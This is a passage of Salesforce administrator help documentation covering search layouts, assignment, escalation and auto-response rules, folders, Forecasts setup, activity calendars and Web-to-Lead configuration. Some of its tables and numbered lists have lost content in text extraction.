column customizations for all users checkbox. If selected, all user column customizations within your
organization will be overwritten and set to the organization-wide default settings.
1303
Customize
5. Click Save.
Notes on Search Layouts
Search layouts do not apply to Salesforce CRM Content. To search for files and Web links in Salesforce CRM Content,
see Searching for Content on page 311.
Search layouts do not apply to campaign members.
The search layout does not determine which fields are searched for keyword matches. See Search Fields on page 357 for a
list of which fields are searched.
You can add up to 10 fields to each search layout.
You cannot remove unique identifying fields, such as Account Name or Case Number, from the search layouts. These
fields must be listed first in the order of fields in the search layout.
You cannot add long text fields such as Description, Solution Details, or custom long text area fields to search
layouts.
All fields are available to be added to the search layout even if some fields are normally hidden for the user customizing
the search layout.
For Enterprise, Unlimited, and Developer Edition organizations, search layouts do not override field-level security. If a
field is included in the search layout but hidden for some users via field-level security, those users do not see that field in
their search results.
For Personal, Contact Manager, Group, and Professional Edition organizations, search layouts override page layout settings.
If a field is included in the search layout but hidden in the page layout, that field will be visible in search results.
The search results layouts for leads, accounts, contacts, and opportunities also apply to the search results displayed when
finding duplicate leads.
Formula fields are not available in search result layouts.
Do not remove the Phone field from any lookup phone dialogs search layout. If you do so, users will not be able to use
the directory search results to enter a phone number into a SoftPhone dial pad.
To add a custom button to a list view or search layout, create the custom button for a standard or custom object, giving it
the List Button Display Type. The custom button will be available in the list view and search result layouts for that
object.
Tip: In account search results, you can visually differentiate business accounts from person accounts by adding the
Is Person Account field, which displays as the person account icon ( ).
You may specify the Is Person Account field as the first column in account search layouts. Otherwise, Account
Name must be the first column.
For more information, see What is a Person Account? on page 68.
See Also:
Managing Page Layouts
Customizing a Call Center Directory
Overview of Page Layouts and Field-Level Security
Field-Level Security Overview
Setting Up Your Customer Portal
1304
Rules
RULES
Managing Assignment Rules
Lead Assignment Rules available in: Group, Professional, Enterprise, Unlimited, and Developer Editions
Case Assignment Rules available in: Professional, Enterprise, Unlimited, and Developer Editions
Customize Application
Create assignment rules to automate your organizations lead generation and support processes.
Lead Assignment RulesSpecify how leads are assigned to users or queues as they are created manually, captured from
the web, or imported via the lead import wizards.
Case Assignment RulesDetermine how cases are assigned to users or put into queues as they are created manually,
using Web-to-Case, Email-to-Case, On-Demand Email-to-Case, the Self-Service portal, the Customer Portal, Outlook,
or Lotus Notes.
Typically, your organization will have one rule for each overall purposefor example, one lead assignment rule for importing
and a different lead assignment rule for web-generated leads; or one case assignment rule for standard use and one case
assignment rule for holiday use. For each rule type, only one rule can be in effect at any time. For a list of the maximum number
of rules allowed in each organization, see Salesforce Editions and Limits.
Each rule consists of multiple rule entries that specify exactly how the leads or cases are assigned. For example, your standard
case assignment rule may have two entries: cases with Type equals Gold are assigned to Gold Service queue, and cases
with Type equals Silver are assigned to Silver Service queue.
To create an assignment rule, click Your Name > Setup > Customize from the top of any page. Then select Leads or Cases,
and click Assignment Rules.
Sample Assignment Rule
The following case assignment rule assigns a case to a specific queue based on the account rating:
Rule Name Hot Account Assignment
Rule Entries:
Order
Criteria
Assign To
ISPICKVAL(Account.Rating, "Hot")
1305
Customize
For more lead management rule examples, see Examples of Advanced Formula Fields on page 1138.
See Also:
Setting Up Assignment Rules
Viewing and Editing Assignment Rules
Assigning Cases
Customize Application
Description
Order
Sets the order in which the entry will be processed in the rule,
for example, 1, 2, 3.
Salesforce evaluates each entry in order and tries to match the
criteria of the entry. As soon as a match is found, Salesforce
processes the item and stops evaluating the rule entries for
that item. If no match is found, the item is reassigned to either
the default Web-to-Lead owner, the administrator doing a
lead import, or the default case owner.
Criteria
1306
Customize
Field
Description
case records with the Priority field marked High to
trigger the rule.
If your organization uses multiple languages, enter filter
values in your organization's default language. You can
add up to 25 filter criteria, of up to 255 characters each.
Note that if your condition uses a custom field, the rule entry
will automatically be deleted if the custom field is deleted.
User
Email Template
1307
Customize
Field
Description
Click the Lookup icon ( ) to select a predefined case team
to add to the assignment rule. To add more predefined case
teams, click Add Row to add a new row with which you can
add a predefined case team.
After creating the entry, click Save, or Save & New to save the entry and create more entries.
Tip: To create an error-proof rule, always create the last rule entry with no criteria. This rule entry will catch any leads
or cases that the previous rule entries did not assign.
Tip: Salesforce processes any rules in the following order:
1.
2.
3.
4.
5.
Validation rules
Assignment rules
Auto-response rules
Workflow rules (with immediate actions)
Escalation rules
See Also:
Managing Assignment Rules
Viewing and Editing Assignment Rules
Customize Application
To edit the name of a rule, click Rename next to the rule name.
1308
Customize
To edit the entries for a rule, choose the rule name from the list of rules. Click New to add an entry; choose Edit or Del
to edit or delete an entry; select Reorder to change the order in which the entries apply. Each rule can have a maximum
of 3000 entries.
See Also:
Setting Up Assignment Rules
Managing Assignment Rules
Customize Application
Create case escalation rules to escalate cases automatically if they are not resolved within a certain period of time.
Typically, your organization will have one escalation rule that consists of multiple entries which specify exactly how the cases
are escalated. For example, your standard case escalation rule could have two entries: cases with Type set to Gold are escalated
within two hours, and cases with Type set to Silver are escalated within eight hours.
For a list of the maximum number of rules allowed in each organization, see Salesforce Editions and Limits.
For information on debugging escalation rules, see What is a Debug Log? on page 2043.
See Also:
Setting Up Escalation Rules
Viewing and Editing Escalation Rules
Customize Application
1309
Customize
2. Choose New, and give the rule a name. Specify whether you want this to be the active escalation rule. Click Save.
3. To create the rule entries, click New. Each rule can have a maximum of 3000 entries. Each entry defines a condition that
determines how cases are processed. For each entry, you can specify the following:
Field
Description
Order
Criteria
Note that if your condition uses a custom field, the rule entry
will automatically be deleted if the custom field is deleted.
Specify business hours criteria
1310
Customize
Field
Description
Escalation actions only run during the business hours with
which they are associated. For more information, see Setting
Business Hours on page 1364.
4. After creating the entry, click Save, or Save & New to save the entry and create more entries.
5. After you create the last entry, click Save. The escalation rule and a list of one or more rule entries are displayed.
Note: To create an error-proof rule, always create the last rule entry with no criteria. This rule entry will catch
any cases that the previous rule entries did not assign.
6. Specify what action you want to be taken when one of the escalation rule entries is true. Click Edit next to the name of
one of the rule entries.
7. Click New to add an escalation action. You can specify up to five actions for each rule entry, to escalate the case over
increasing periods of time. For each escalation action, you can specify the following:
Field
Description
Age Over
Assign To
1311
Customize
Field
Description
Notification Template
Indicates that the owner of the case is notified when the case
is escalated.
Notification Template
Additional Emails
Note: Each time you save a case or change the case owner, your escalation rules re-evaluate that case. Once the case
matches an escalation rule entry, calculates when the case should be escalated and stops checking other escalation rule
entries. For example, if you have two escalation rule entries that specify:
Escalate three hours after creation date if Case Reason equals Crash
Escalate four hours after creation date if Case Reason equals Bug
A case created with Case Reason of Bug will be scheduled for escalation four hours after it was created. Later, a
user changes the case, which causes the escalation rules to re-evaluate the case. If escalation rules find that the Case
Reason is now Crash, it schedules the case to be escalated three hours after creation date. If the case was created more
than three hours ago, the case is escalated as soon as possible.
Escalation rules are not evaluated when transferring multiple cases at one time from a case list view. Also note that if
you use assignment rules to change case ownership, the escalation rules are evaluated before any assignment rules.
Tip: Salesforce processes any rules in the following order:
1.
2.
3.
4.
5.
Validation rules
Assignment rules
Auto-response rules
Workflow rules (with immediate actions)
Escalation rules
See Also:
Creating Escalation Rules
Viewing and Editing Escalation Rules
Monitoring the Case Escalation Rule Queue
1312
Customize
Customize Application
To edit the name of a rule, click Rename next to the rule name.
To edit the entries for a rule, choose the rule name from the list of rules. Click New to add an entry; choose Edit or Del
to edit or delete an entry; select Reorder to change the order in which the entries apply. Each rule can have a maximum
of 3000 entries.
See Also:
Creating Escalation Rules
Setting Up Escalation Rules
Monitoring the Case Escalation Rule Queue
Customize Application
An auto-response rule is a set of conditions for sending automatic email responses to lead or case submissions based on the
attributes of the submitted record. Applicable leads include those captured through a Web-to-Lead form. Applicable cases
include those submitted through a:
Self-Service portal
Customer Portal
Web-to-Case form
Email-to-Case message
On-Demand Email-to-Case message
You can create as many response rules as you like based on any attribute of the incoming lead or case, but only one rule for
leads and one for cases can be active at a time. The email responses are listed in the Activity History related list of the lead or
contact and the Email related list on cases.
1313
Customize
Click New.
Enter the rule name.
Check the active box to make this rule the only one activated.
Click Save.
Create rule entries.
Choose criteria are met and select the filter criteria that a record must meet to trigger the rule. For example, set
a case filter to Priority equals High if you want case records with the Priority field marked High to trigger
the rule.
If your organization uses multiple languages, enter filter values in your organization's default language. You can add
up to 25 filter criteria, of up to 255 characters each.
4.
5.
6.
7.
8.
Choose formula evaluates to true and enter a formula that returns a value of True or False. Salesforce
triggers the rule if the formula returns True. For example, the formula
AND(ISPICKVAL(Priority,"High"),Version<4.0) triggers a rule that automatically responds with the selected
template if the Priority field on a case is set to High and the value of a custom field named Version on the case
is less than four. For information on using formulas, see Building Formulas on page 1147.
1314
Customize
Validation rules
Assignment rules
Auto-response rules
Workflow rules (with immediate actions)
Escalation rules
For a list of the maximum number of rules allowed in each organization, see Salesforce Editions and Limits. For information
on debugging response rules, see What is a Debug Log? on page 2043.
See Also:
Differences Between Auto-Response Rules and Workflow Alerts
Auto-response rules and workflow alerts provide similar functionality. The following table lists some of the differences between
workflow alerts and auto-response rules to help you determine which process to use:
Type of Process
Designed For
Runs When
Sends Email To
Number of Emails
Sent
Workflow alerts
Notifications to
interested parties.
A case or lead is created Anyone you choose who Sends as many emails as
or edited.
is associated to the Case there are matching
or Lead object.
criteria in the workflow.
Auto-response rules
1315
Customize
Managing Folders
Managing Folders
Available in: All Editions except Database.com
Report folders not available in: Contact Manager, Group, and Personal Editions
A folder is a place where you can store reports, dashboards, documents, or email templates. Folders can be public, hidden, or
shared, and can be set to read-only or read/write. You control who has access to its contents based on roles, permissions, public
groups, and license types. You can make a folder available to your entire organization, or make it private so that only the owner
has access.
To access document folders, click the Documents tab. See Document Library Overview for information on displaying the
Documents tab.
To access email template folders, click Your Name > Setup > Communication Templates > Email Templates.
To access report folders, click the Reports tab, or to manage all of your organizations report folders, click Your Name >
Setup > Customize > Reports.
To access dashboard folders, click the Dashboards tab.
1316
Customize
Managing Folders
Access Level
Read
Write New
Modify/Delete
Access Level
Read
Write New
Modify/Delete
Access Level
Read
Write New
Modify/Delete
Hidden Folders
Shared Folders
Access Level
Read
Run Reports
Run Reports
1317
Customize
Managing Folders
Access Level
Write New
Modify/Delete
Access Level
Read
Write New
Modify/Delete
Access Level
Read
Run Reports
Run Reports
Write New
Modify/Delete
Hidden Folders
Shared Folders
1318
Customize
Access Level
See Also:
Analytics Overview
Creating and Editing Folders
Deleting Folders
Filing Items in Folders
Click Create New Folder or Edit from most pages that list folders. On the Reports tab, click
Folder or New Dashboard Folder to create a folder, or click
to edit.
1. Enter a Folder Label. The label is used to refer to the folder on user interface pages.
2. If you have the Customize Application permission, enter a unique name to be used by the API and managed packages.
3. Choose a Public Folder Access option. Select read/write if you want users to be able to change the folder contents.
A read-only folder can be visible to users but they can't change its contents.
4. Select an unfiled report, dashboard, or template and click Add to store it in the new folder. Skip this step for document
folders.
5. Choose a folder visibility option:
This folder is accessible by all users, including portal users gives folder access to all users
This folder is accessible by all users, except for portal users gives folder access to all users
in your organization, but denies access to portal users. This option is only available for report and dashboard folders in
organizations with a partner portal or Customer Portal enabled. If you don't have a portal, you won't see it.
This folder is hidden from all users makes the folder private.
1319
Customize
Deleting Folders
This folder is accessible only by the following users allows you to grant access to a desired set of
users:
a. Choose Public Groups, Roles, Roles and Subordinates, Roles, Internal and Portal Subordinates (if you have
portals enabled), Territories, or Territories and Subordinates from the Search drop-down list. The choices
vary by Edition and whether your organization has territory management.
Note: When you share a folder with a group, managers of the group members have no access to the folder
unless those managers are also members of the group.
b. If the Available for Sharing list does not immediately display the desired value, enter search criteria and
click Find.
c. Select the desired value from the Available for Sharing list and click Add to move the value to the Shared
To list.
6. Click Save.
See Managing Folders for the required permissions to create new folders.
See Also:
Deleting Folders
Filing Items in Folders
Managing Folders
Deleting Folders
Available in: All Editions except Database.com
Report folders not available in: Contact Manager, Group, and Personal Editions
You can only delete folders that are empty. Before you begin, remove all the documents, dashboards, templates, or reports
from the folder you would like to delete.
1. Click Edit next to the folder name from any page that lists folders. On the Reports tab, click
then Edit in the Folders
pane. If you're not seeing If you don't see some of the features described here, check that you're using a supported browser
and ask your administrator to enable the new user interface theme.
1320
Customize
2. Click Delete or
then Delete.
3. Click OK to confirm.
See Managing Folders for the required permissions to delete a folder.
See Also:
Creating and Editing Folders
Filing Items in Folders
Managing Folders
See Managing Folders for the necessary permissions to perform this task.
Just like report folders contain reports and email template folders contain email templates, document folders can only contain
documents. To store an attachment in a document folder, save the attachment to your computer and upload it to the document
library.
1321
Forecasts
Setting Up Forecasts
Note: Email templates that are used by Web-to-Case, Web-to-Lead, assignment rules, or escalation rules must be
marked as Available for Use.
See Also:
Deleting Folders
Filing Items in Folders
Managing Folders
FORECASTS
Setting Up Forecasts
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Important:
This information applies to the Forecasts product beginning with the Winter '12 release. If you use Customizable
Forecasts, see Customizable Forecasting Home.
For Forecasts features to function correctly, it's important that you dont disable the new user interface theme for
your organization. See Customizing User Interface Settings for information on user interface settings. Additionally,
Territory Management must not be enabled.
If your organization is migrating to Forecasts, see Planning Your Migration from Customizable Forecasting to Forecasts on
page 1330. To set up the forecasts feature, you need to:
If your organization uses specific terminology, you can customize your forecast categories.
See Also:
What's the difference between the Forecasting features?
1322
Customize
Manage Users
AND
Customize Application
To manage quotas:
Manage Quotas
Important:
This information applies to the Forecasts product beginning with the Winter '12 release. If you use Customizable
Forecasts, see Customizable Forecasting Home.
For Forecasts features to function correctly, it's important that you dont disable the new user interface theme for
your organization. See Customizing User Interface Settings for information on user interface settings. Additionally,
Territory Management must not be enabled.
Before you begin, make sure that your organization has the Winter '12 release of forecasting. Starting in Winter '12, Forecasts
is enabled for all new organizations. If you're an existing organization using Forecasts (Classic) or Customizable Forecasts and
want to use Forecasts, contact your salesforce.com representative.
1. Click Your Name > Setup > Customize > Forecasts > Settings. If forecasts is not already enabled, select Enable
Forecasts and click Save.
2. Click Edit Forecast settings for your company.
3. Under Forecast Range, use the drop-down lists to select a beginning month and the number of months you want to display.
4. If you need to, customize your Forecast Categories.
5. Optionally enable quotas for your organization.
6. Optionally enable forecasts adjustments for your organization and for specific users.
7. If your organization uses multiple currencies, select the currency in which your users will forecast.
8. Click Save.
You can always return to the Forecasts Settings page to make adjustments. Now you can enable users who need to use forecasts
and set up your forecasts hierarchy to determine how forecasts roll up within your organization, and who can view and adjust
them.
See Also:
Setting Up Forecasts
Defining Your Organization's Forecast Date Range
What's the difference between the Forecasting features?
1323
Customize
Manage Users
AND
Customize Application
Note: This information applies to the Forecasts product beginning with the Winter '12 release. See Customizable
Forecasting Home on page 2504 if you use Customizable Forecasts.
1.
2.
3.
4.
Click Your Name > Setup > Manage Users > Users.
For each user you want to enable, click Edit.
Under General Information, select Allow Forecasting.
Click Save.
See Also:
Setting Up Your Forecast Hierarchy
Setting Up Forecasts
Manage Users
AND
Customize Application
Note: This information applies to the Forecasts product beginning with the Winter '12 release. See Customizable
Forecasting Home on page 2504 if you use Customizable Forecasts.
1324
Customize
When you assign a user as a forecast manager, all forecasts and adjustments from the manager's subordinates in the hierarchy
roll up into his or her forecasts. It's important to always assign a forecast manager to the top level of the forecast hierarchy.
1. Click Your Name > Setup > Customize > Forecasts > Forecast Hierarchy. Click on Expand All and youll see the roles
available in your organization.
2. Click Enable Users and use
and
to move users from the Available Users list to the Enabled Users list. If you
previously enabled a user by clicking Your Name > Setup > Manage Users > Users and editing a user page to allow
forecasting, the name already appears in the Enabled Users list.
3. If you need to, select a forecast manager for each manager role in the hierarchy. Click Edit Manager next to the role, then
select a name from the Forecast Manager drop-down list.
4. Click Save.
If your organization needs to adjust forecasts, enable adjustments next.
See Also:
Enabling Forecasts Adjustments
Enabling Users for Forecasts
Setting Up Forecasts
Manage Users
AND
Customize Application
To manage quotas:
Manage Quotas
Note: This information applies to the Forecasts product beginning with the Winter '12 release. See Customizable
Forecasting Home on page 2504 if you use Customizable Forecasts.
A quota is the sales goal assigned to a user on a monthly basis. A managers quota equals the amount the manager and team
are expected to generate together. The roll up is done manually by users and managers. Follow these steps to enable quotas
for Forecasts in your organization:
1. Click Your Name > Setup > Customize > Forecasts > Settings.
2. Under Quotas, select Show Quotas.
3. Click Save.
Quota data must be loaded through the API. Consider using the Data Loader for this task. (You must use API version 25 or
later.) For example, you might have a CSV file with column names such as User ID, Quota Amount, Currency Code, and
Month [YYYY-MM-DD].
1325
Customize
Map these columns to the QuotaOwnerId, QuotaAmount, CurrencyIsoCode, and StartDate fields in the
ForecastingQuota object and use the Data Loader to upload your quota information to Salesforce.com. For more details about
Data Loader, see Data Loader Overview. on page 825 As a best practice, load quota data in the quota owners personal currency.
Note that you can still upload quota data using the API even if Show Quotas is disabled.
Note: If you disable Forecasts, quotas are also disabled.
See Also:
Forecasts Quotas Overview
Setting Up Forecasts
Manage Users
AND
Customize Application
Note: This information applies to the Forecasts product beginning with the Winter '12 release. See Customizable
Forecasting Home on page 2504 if you use Customizable Forecasts.
Before enabling adjustments, make sure you've set up your forecast hierarchy.
1.
2.
3.
4.
5.
Click Your Name > Setup > Customize > Forecasts > Settings.
Under Adjustments, select Enable Adjustments.
Click Save.
Click Your Name > Setup > Manage Users > Profiles.
Find a profile for which you want adjustments enabled.
1326
Customize
6. If youre using the enhanced profile user interface, click App Permissions and click Edit.
7. Select Override Forecasts and click Save.
See Also:
Forecasts Adjustments Overview
Disabling Forecasts Adjustments
Setting Up Forecasts
Defining Your Organization's Forecast Date Range
Manage Users
AND
Customize Application
Note: This information applies to the Forecasts product beginning with the Winter '12 release. See Customizable
Forecasting Home on page 2504 if you use Customizable Forecasts.
Caution: Disabling forecasts adjustments purges existing adjustments. Before disabling adjustments, see Understanding
Adjustments Purges.
1. Click Your Name > Setup > Customize > Forecasts > Settings.
2. Under Adjustments, deselect Enable Adjustments.
3. Click Save. You don't need to update user permissions because adjustments are now disabled for your entire organization.
Say you have forecast managers who adjusted forecast amounts for some direct reports. After you disable adjustments for your
organization, the next time the managers view their respective forecast rollups, no adjustments will appear.
See Also:
Forecasts Adjustments Overview
Enabling Forecasts Adjustments
1327
Customize
Manage Users
AND
Customize Application
Note: This information applies to the Forecasts product beginning with the Winter '12 release. See Customizable
Forecasting Home on page 2504 if you use Customizable Forecasts.
Before selecting a forecast currency, review information in Working With Multiple Currencies in Forecasts.
1. Click Your Name > Setup > Customize > Forecasts > Settings.
2. Under Forecast Currency, choose a forecast currency option.
3. Click Save.
See Also:
Forecasts Adjustments Overview
Manage Users
AND
Customize Application
Note: This information applies to the Forecasts product beginning with the Winter '12 release. See Customizable
Forecasting Home on page 2504 if you use Customizable Forecasts.
The Forecasts rollup table shows forecast amounts for individual months and a range of months. Six months is the default,
but you can show up to 12 months in the past or the future. If your forecast range includes the current month, that month is
selected by default when you view the rollup table on a forecasts page. When you select the forecast date range for your
1328
Customize
organization, it becomes the default for all Forecasts users. Users can use this default or they can set a different date range
display for their own forecasts. Once users change their forecast date range displays, you cant override them.
1. Click Your Name > Setup > Customize > Forecasts > Settings.
2. Under Forecast Range, use the drop-down lists to select a beginning month and the number of months you want to display.
3. Click Save.
See Also:
Setting Up Forecasts
Changing Your Forecast Date Range Display
Manage Users
AND
Customize Application
Note: This information applies to the Forecasts product beginning with the Winter '12 release. See Customizable
Forecasting Home on page 2504 if you use Customizable Forecasts.
A forecast category is the category within the sales cycle that an opportunity is assigned to based on its opportunity stage. The
standard forecast categories are Pipeline, Best Case, Commit, Omitted, and Closed. You can customize forecast category
names for your organization. The forecast categories display information for that specific category; for example, Best Case
only reflects amounts in the Best Case category.
1.
2.
3.
4.
5.
Click Your Name > Setup > Customize > Opportunities > Fields.
Click Forecast Category.
Click Edit for any value you want to edit in the Forecasts Category Picklist Values.
Enter a forecast category name.
Click Save.
See Also:
Setting Up Forecasts
1329
Customize
Manage Users
AND
Customize Application
To manage quotas:
Manage Quotas
Note: This information applies to organizations who want to migrate from Customizable Forecasts to the Forecasts
product first released in Winter '12.
Beginning with the Winter 12 release, the Forecasts product includes much of the same functionality as Customizable
Forecasts. When migrating to Forecasts from Customizable Forecasts keep the following in mind:
Before migrating, make sure to review What's the difference between the Forecasting features? to determine if you can benefit
from the latest improvements offered in Forecasts.
See Also:
Setting Up Forecasts
1330
Activities
ACTIVITIES
Customizing Activity Settings
The availability of these settings varies by Edition. However, most are available in All Editions.
Customize Application
On the Activity Settings page at Your Name > Setup > Customize > Activities > Activity Settings, you can manage the
following activity-related features:
1331
Customize
1332
Customize
See Also:
Customizing User Interface Settings
Customize Application
Customize Application
In contrast to users' individual calendars, public and resource calendars are for managing group activities or shared resources.
Using public calendars, a group of people can track events of interest to all of them (such as marketing events, product releases,
or training classes) or schedule a common activity (such as a team vacation calendar). For example, your marketing team can
set up an events calendar to show upcoming marketing events to the entire sales and marketing organization.
With resource calendars, multiple people can coordinate their usage of a shared resource such as a conference room or overhead
projector.
To display a list of the currently-defined public and resource calendars, click Your Name > Setup > Customize > Activities
> Public Calendars & Resources.
From the list page, you can perform the following tasks:
Click New.
Give the calendar or resource a name, and check Active.
Click Save.
To make the new calendar or resource available to others, click Sharing. Add the public groups, roles, or users with
whom you want to share the calendar.
5. In Calendar Access, specify how to share the calendar by selecting one of the following:
1333
Customize
Sharing Model
Results
Hide Details
Show Details
Full Access
Note: Users need the appropriate Read permission to see the related record of any activity. For example, an event
invitee who does not have Read permission on cases will not be able to view the case associated with the event.
See Also:
Deleting a Public Calendar
Creating Activities
Administrator tip sheet: Setting Up Multi-Person Calendaring
Customize Application
1. Click Your Name > Setup > Customize > Activities > Public Calendars & Resources.
2. Click Del next to the name of the calendar you want to delete.
See Also:
Managing Public and Resource Calendars
1334
Customize
Customize Application
The New Meeting Request button is enabled by default on page layouts, which lets your users use Cloud Scheduler to request
meetings with customers. If enabled, the button displays on the Open Activities related list on the detail pages of contacts,
leads, and person accounts.
Use the following methods alone or in combination to control whether the New Meeting Request button displays on detail
page layouts. Note that the button is also available in the Calendar section on the Home tab when the Requested Meetings
subtab is enabled, and isn't affected by these add or remove actions.
Cloud Scheduler Quick Setup
To add or remove the New Meeting Request button on multiple page layouts:
1. Click Your Name > Setup > Customize > Activities > Cloud Scheduler.
2. If you're adding the button and the new user interface theme isn't already enabled, you must enable it from Your Name
> Setup > Customize > User Interface.
3. Click Add Button to add the New Meeting Request button to the Open Activities related list on all eligible page layouts.
Eligible layouts have fewer than four buttons in the Open Activities related list (to prevent unintended crowding). Click
Remove Button to remove the button from all current page layouts.
Note: If you want finer control over whether the button displays on individual page layouts, consider using the manual
setup method instead of or in combination with the quick method.
Contacts
Leads
Person Accounts (if enabled)
For users to request a meeting with a person account, you also need to add the Email field to the page layout, which
is located at Your Name > Setup > Customize > Accounts > Person Accounts > Page Layouts.
1335
Customize
Note: If you have multiple page layouts and want to affect all or most of them, consider using the quick setup method
instead of or in combination with the manual method.
Ask your users to install Salesforce for Outlook, Connect for Outlook, or Connect for Lotus Notes.
We recommend users sync their calendar events between Salesforce and Outlook or Lotus Notes so they can propose
meeting times based on their availability displayed in their Salesforce calendar.
Add your company logo to the meeting requests sent to invitees. See Customizing Activity Settings.
Show requested meetings in the Calendar section on the Home tab.
See Customizing Activity Settings. The Requested Meetings subtab displays by default. If you remove the New Meeting
Request button from all page layouts, we recommend you also remove the Requested Meetings subtab because your users
won't be able to request meetings.
Won't see the New Meeting Request button on the Open Activities related list.
Can't edit, reschedule, or cancel requested meetings.
Object
Field
Description
Name
Visible (with
Read-Only not
selected)
1336
Leads
Object
Field
Description
Read
Visible
See Also:
About Cloud Scheduler
LEADS
Setting Up Lead Management
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions
Success in sales starts by building a strong pipeline of leads. A lead is a prospect who is interested in your company.
Using leads can give your sales staff instant access to the latest prospects and ensures that no leads are ever dropped. Successful
lead management helps sales and marketing manage the inbound lead process, track lead sources, and analyze return on their
marketing investment.
To get started using lead management, click Your Name > Setup > Customize > Leads:
Click Fields to create custom lead fields that track information specific to your company; see About Custom Fields on
page 1074. Also, map your custom lead fields to account, contact, and opportunity fields so that the data gets converted
when users convert leads; see Mapping Custom Lead Fields on page 1339. Edit the Lead Status picklist to choose the
default status for new and converted leads; see Updating Picklists on page 1060.
1337
Customize
Click Settings to specify your default lead settings. See Customizing Lead Settings on page 1338.
Click Assignment Rules to set up lead assignment rules that automatically assign leads; see Managing Assignment Rules
on page 1305.
Click Web-to-Lead to automatically capture leads from your website. See Setting Up Web-to-Lead on page 1342.
To create sales queues for leads or custom objects, click Your Name > Setup > Manage Users > Queues. See Managing
Queues on page 595.
Customize Application
To optimize the lead management features, you must edit the lead settings to specify certain defaults.
1. Click Your Name > Setup > Customize > Leads > Settings.
2. Click Edit to customize the following defaults:
Field
Description
1338
Customize
Field
Description
Customize Application
When you convert a qualified lead, the information from the standard lead fields is inserted into standard account, contact,
and opportunity fields (see Lead Conversion Mapping on page 2893). If your organization has custom lead fields, you can specify
how you want that custom information converted into custom account, contact, or opportunity fields.
1339
Customize
Remember to map custom lead fields to other custom fields of the same data type, that is, map numeric lead fields to other
numeric fields or long text area fields to other long text area fields.
Some exceptions are:
You can map between text and picklist fields. However, your data may become truncated if the mapped text field is
not large enough to hold the entire lead picklist value.
You can map fields of type Text or Text Area to long text area fields
You can map auto-number fields to fields of type Text, Text Area, or Picklist.
Do not map custom formula fields to other formula fields or any other type of field.
Roll-up summary fields are not available for mapping lead fields of converted leads.
Remember to map custom lead fields of type number, currency, or percent to other number, currency, or percent fields of
exactly the same length and decimal places. For example, if your lead currency field has a length of 3 and 2 decimal places,
map it to another custom currency field with a length of 3 and 2 decimal places.
Any standard lead picklist fields that are blank are mapped to the default picklist values for the account, contact, and
opportunity.
Note: If you change the data type of any custom field used for lead conversion, that lead field mapping will be deleted.
See Also:
Converting Leads
Customize Application
With Web-to-Lead, you can gather information from your companys website and automatically generate up to 500 new leads
a day.
Your company may already have a registration or other type of page where users enter their contact information. You may also
want to create a jump page where prospects respond to a campaign. With a little extra HTML code, you can redirect that
information to Salesforce to create new leads.
1340
Customize
See Preparing to Set Up Web-to-Lead for the steps to prepare for setting up Web-to-Lead.
See Setting Up Web-to-Lead for the steps to set up Web-to-Lead.
See Also:
Managing Assignment Rules
Managing Queues
Customizing Lead Settings
Assigning Leads
Displaying and Editing Leads
Creating Leads
Converting Leads
Setting Up Auto-Response Rules
Customize Application
Create custom lead fields, if needed, and specify how theyll map to custom account, contact, and opportunity fields during
lead conversion. See About Custom Fields on page 1074 and Mapping Custom Lead Fields on page 1339.
Edit the Lead Status picklist to set the default status for new and converted leads. See Updating Picklists on page 1060.
Create public email templates for the automated notification email that will be sent to prospects upon submission of each
web lead. If you plan to set up email response rules to use different email templates depending on the information submitted,
create one default template to send when none of your response rules apply. (see Managing Email Templates on page 472
and Setting Up Auto-Response Rules on page 1313).
Note: Auto-response rules are not available in Group Edition.
Create lead queues if you wish to assign incoming leads to queues (see Managing Queues on page 595).
Customize the Lead Settings to select the default owner of leads that fail to meet the criteria in your assignment rule (see
Customizing Lead Settings on page 1338).
1341
Customize
Setting Up Web-to-Lead
Create an active lead assignment rule to determine how web-generated leads are assigned to multiple users or queues (see
Managing Assignment Rules on page 1305). If you do not set an active assignment rule, all web-generated leads are assigned
to the default owner you specify in the Lead Settings.
See Also:
Setting Up Web-to-Lead
Capturing Web Leads
Setting Up Web-to-Lead
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions
Customize Application
To set up Web-to-Lead:
1. Click Your Name > Setup > Customize > Leads > Web-to-Lead.
2. Click Edit to enable or modify the following Web-to-Lead settings:
Web-to-Lead Setting
Description
Web-to-Lead Enabled
Enables Web-to-Lead.
The user who will be listed as the creator of online leads and
who will appear as the sender of email responses. This user
must have the System Administrator profile or the Modify
All Data and Send Email permissions.
1342
Customize
Setting Up Web-to-Lead
3. Click Save.
4. To create a Web-to-Lead form, click Create Web-to-Lead Form on the Web-to-Lead Setup page.
5. Select fields to include on your Web-to-Lead form. Use the Add and Remove arrows to move fields between the Available
Fields list and the Selected Fields list, and use the Up and Down arrows to change the order of the fields on your form.
Select the Campaign field (and optionally, the Campaign Member Status field) if you are using Web-to-Lead as
part of a campaign.
For organizations using multiple currencies, add the Lead Currency field if you add currency amount fields, otherwise
all amounts will be captured in your corporate currency.
Use a custom multi-select picklist to allow potential customers to express interest in several products.
For organizations using lead record types, select the Lead Record Type field if you want users to select a record type
for Web-generated leads.
6. If your organization uses the Translation Workbench or has renamed tabs, select the language for the form labels displayed
on your Web-to-Lead form. The source of your Web-to-Lead form is always in your personal language.
7. Specify the complete URL to which users should be directed after they submit their informationfor example, your
company's home page for a thank you pageand click Generate.
8. Copy the generated HTML code and provide it to your company's webmaster to incorporate into your website.
9. Click Finished.
To test the Web-to-Lead form, add the line <input type="hidden" name="debug" value="1"> to your code. This
line redirects you to a debugging page when you submit the form. Remove this line before releasing the Web-to-Lead page
to your website.
Leads generated from your website are initially marked with the default status specified by the Lead Status picklist. For
Web leads generated as part of a campaign, the member status of the new leads is set to the Member Status value specified
in the form, or to the default member status if the Member Status field is not included in the form.
In addition, new leads are marked as Unread, and are changed to Read when viewed or edited by the lead owner. Users
can select the My Unread Leads list view to quickly locate their new leads.
Note: The format for date and currency fields captured online is taken from your organizations default settings Default Locale and Currency Locale.
The daily limit for Web-to-Lead requests is 500. If your organization exceeds its daily Web-to-Lead limit, the Default
Lead Creator (specified in the Web-to-Lead setup page) receives an email containing the additional lead information.
See How many leads can we capture from our website? on page 3646 for additional information on Web-to-Lead limits.
If a new lead cannot be generated due to errors in your Web-to-Lead setup, Customer Support is notified of the
problem so that we can help you correct it.
Salesforce runs field validation rules before creating records submitted via Web-to-Lead and only creates records that
have valid values.
All universally required fields must have a value before a record can be created via Web-to-Lead.
Salesforce doesnt support rich text area (RTA) fields on Web-to-Lead forms. If you use RTA fields on your forms,
